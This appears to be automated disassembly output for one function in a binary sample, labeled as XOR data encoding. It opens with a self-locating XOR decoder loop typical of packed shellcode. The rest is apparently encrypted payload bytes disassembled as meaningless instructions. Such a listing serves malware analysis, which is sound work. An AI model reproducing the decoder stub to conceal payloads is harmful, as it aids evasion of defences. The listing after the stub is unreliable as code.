Function at 0x12f43e4
Capabilities:
Encode data using xor

Disassembly:
test dword [ebx], 0x2b96cad
push edx
jmp 0x12f43ee
pushal
call 0x12f43f4
pop ebp
sub ebp, 0x10
sub ebp, 0xef43e4
jmp 0x12f440a
mov eax, 0xef43e4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a6
mov edx, 0x67fe956a
add byte [edx + 0x67fe956a], bh
xor byte [eax], dl
inc eax
dec ecx
jne 0x12f4421
jmp 0x12f4434
loope 0x12f43dd
loope 0x12f441b
push esi
push 0x6a
push 0xffffffffffffffeb
stosd dword es:[edi], eax
xchg edx, eax
push 0x6a
push 0x69
cmpsd dword [esi], dword es:[edi]
shr byte [ebp + 0x6a], cl
push 0x6a
rol byte [edx + 0x6a], 1
push 0x6a
popfd
mov byte [ecx - 0x5e], ch
loope 0x12f443f
push 0x6a
push 0x69
scasd eax, dword es:[edi]
out 0xe, eax
dec esi
xchg esi, eax
jecxz 0x12f44ce
dec esi
cmp al, byte [edx]
xor ah, byte [esi - 0x19fd95b5]
sbb eax, 0x466b6aa7
dec esi
add dh, byte [eax - 0x7dc7972d]
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffff83
inc eax
push 0x6a
push 0x3f
out 6, eax
dec esi
push 0xffffffffffffffe1
out dx, eax
bound ebp, qword [edx + 0x6a]
push 0xffffffffffffffe1
jmp dword [esi + 0x6a]
push 2
xor ah, byte [esi - 0x19fd95b5]
sbb eax, 0x466b6aa7
dec esi
cmp eax, dword [edx + 0x6a6a6a6f]
adc dword [ebp + 0x68], 0x6a
push 0x3f
aas
aaa
xchg ebp, eax
pop ds
xchg bp, ax
xchg ebp, eax
pop ds
bound eax, qword [edx + 0x6a6a6a18]
sbb byte [eax], 0x6a
push 0x6a
loope 0x12f44ae
bound ebp, qword [edx + 0x6a]
push 0xffffffffffffffeb
wait
stosb byte es:[edi], al
loop 0x12f44c7
fucomi st(3)
wait
stosb byte es:[edi], al
loop 0x12f44cd
fistp dword [ecx - 0x5d]
pop ecx
mov eax, 0x226f82e9
out dx, al
and al, 0x6a
push 0x6a
loop 0x12f451a
push 0x6a
push 0xc
loope 0x12f4574
push ebx
ljmp 0x6a70
push 0x6a
ljmp 0x6a7b
push 0x6a
or al, 0xeb
xchg ecx, eax
xchg ebp, eax
dec edi
out dx, al
jg 0x12f4584
push 0x6a
sub eax, dword [ebx - 0x6a6a6a5a]
inc ebx
push ebx
imul ebp, ecx, 0xffffffab
outsd dx, dword [esi]
jmp 0xd8b2b3b0
xchg ebp, eax
inc ebx
push ebx
push 0xe96cabe9
sub byte [esi - 0x17], 0x82
outsd dx, dword [esi]
add ecx, 0xffffff95
xchg ebp, eax
xchg ebp, eax
aaa
test al, 0x66
push 0x3f
loope 0x12f44d0
cmp al, 0x3d
aas
loope 0x12f456e
loope 0x12f4569
bound edx, qword [esi + 0x6ce0ead8]
jmp 0x12f4506
insd dword es:[edi], dx
jmp 0x12f450f
push 0x6a
push 0x6fef65b8
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45a2
js 0x12f4530
jmp 0x96c4db30
mov dl, 0x95
xchg ebp, eax
xchg ebp, eax
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45b5
push 0x6a
loopne 0x12f4604
sub al, 0x78
mov eax, 0x6a00e965
push 0x6a
pop ecx
stosb byte es:[edi], al
push 0x6fef65b8
js 0x12f4543
jmp 0x6b99af91
jmp 0x6b99af91
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45ca
js 0x12f4558
mov eax, 0x6b40e965
push 0x6a
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45dd
jmp 0x6b99b0e6
inc eax
imul ebp, dword [edx + 0x6a], 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0x12f462c
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
js 0x12f456b
jns 0x12f455f
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45ec
js 0x12f457a
jns 0x12f456e
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0x12f45fb
mov eax, 0x6a6fef65
push 0x6a
loopne 0x12f464a
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0x12f4589
jns 0x12f457d
push 0x6fef65b8
mov eax, 0x6a6fef65
push 0x6a
loopne 0x12f4659
push 0x6a
push 0xffffffffffffffe0
jl 0x12f460a
sub al, 0x78
mov eax, 0xee65aa79
js 0x12f4598
jns 0x12f458c
out dx, al
insb byte es:[edi], dx
push 0x6a
push 0xffffffffffffffe1
mov ch, 0x41
push 0x6a
loope 0x12f459f
inc ecx
mov dl, 0xe0
imul esp, edx, 0x68d12d6d
push 0x6a
loopne 0x12f4657
loop 0x12f465d
sub eax, 0x6a6a68d1
push 0xffffffffffffff83
sbb dl, byte [ebp + 0x6bd29595]
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
sbb dword [edx], 0xffffff95
xchg ebp, eax
xchg ebp, eax
shr byte [ebx + 0x6a], cl
push 0x6a
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0x12f4637
loopne 0x12f4686
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0x12f45c5
jns 0x12f45b9
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0x12f4646
js 0x12f45d4
call 0x96c4dbd6
inc ecx
test eax, 0x6a6a6bd1
push 0x65
out dx, eax
push 0x6a
out dx, eax
pop esi
push 0x6a
push 0xffffffffffffffd3
imul ebp, dword [edx + 0x6a], 0x6a
push 0x6fef65b8
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0x12f46ba
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0x12f466b
sub al, 0x78
mov eax, 0xb868a379
js 0x12f45f9
jns 0x12f45e6
push 0x6fef65b8
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0x12f467a
loopne 0x12f46c9
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0x12f4608
call 0x96c4dc0a
cmp al, 0xe1
popfd
loope 0x12f45f6
inc ecx
lahf
cdq
into
xor al, 0x83
bound edx, qword [ebp - 0x54dd6a6b]
mov ah, byte [edx - 0x20]
insb byte es:[edi], dx
sub al, 0xe1
adc bl, 0x6b
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0x12f46f7
jl 0x12f46a8
sub al, 0x78
mov eax, 0xb868a379
out dx, eax
outsd dx, dword [esi]
js 0x12f4636
jns 0x12f4623
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0x12f46b7
push 0x6a
loopne 0x12f4706
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0x12f4645
call 0x96c4dc47
jmp 0x12f4627
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0x12f4633
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0x12f463f
jmp 0x12f464b
push 0x6a
push 0xffffffffffffffeb
mov ebx, 0x6a6a6a6a
cmp al, 0xe1
popfd
inc ecx
lcall 0x94f1, 0x8334ce99
into
xor al, 0x83
int1
xchg esp, eax
xchg ebp, eax
xchg ebp, eax
loopne 0x12f473e
sub al, 0x59
mov dword [0x656b82aa], eax
out dx, al
jo 0x12f4746
push 0x6a
jmp 0x12f469b
xchg ebp, eax
aaa
inc ecx
pop ss
invalid
xor eax, 0xe74e5ee1
push cs
dec esi
outsb dx, byte [esi]
sub dword [esi + 0x6a], 0x6a
push 0xffffffffffffffcf
or byte [edx + 0x298ed28e], 0x85
push 0x69
scasd eax, dword es:[edi]
jmp 0x12f46ca
jb 0x12f471b
mov ah, 0xd6
scasd eax, dword es:[edi]
salc
cmpsb byte [esi], byte es:[edi]
fisub dword [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
salc
cmpsb byte [esi], byte es:[edi]
invalid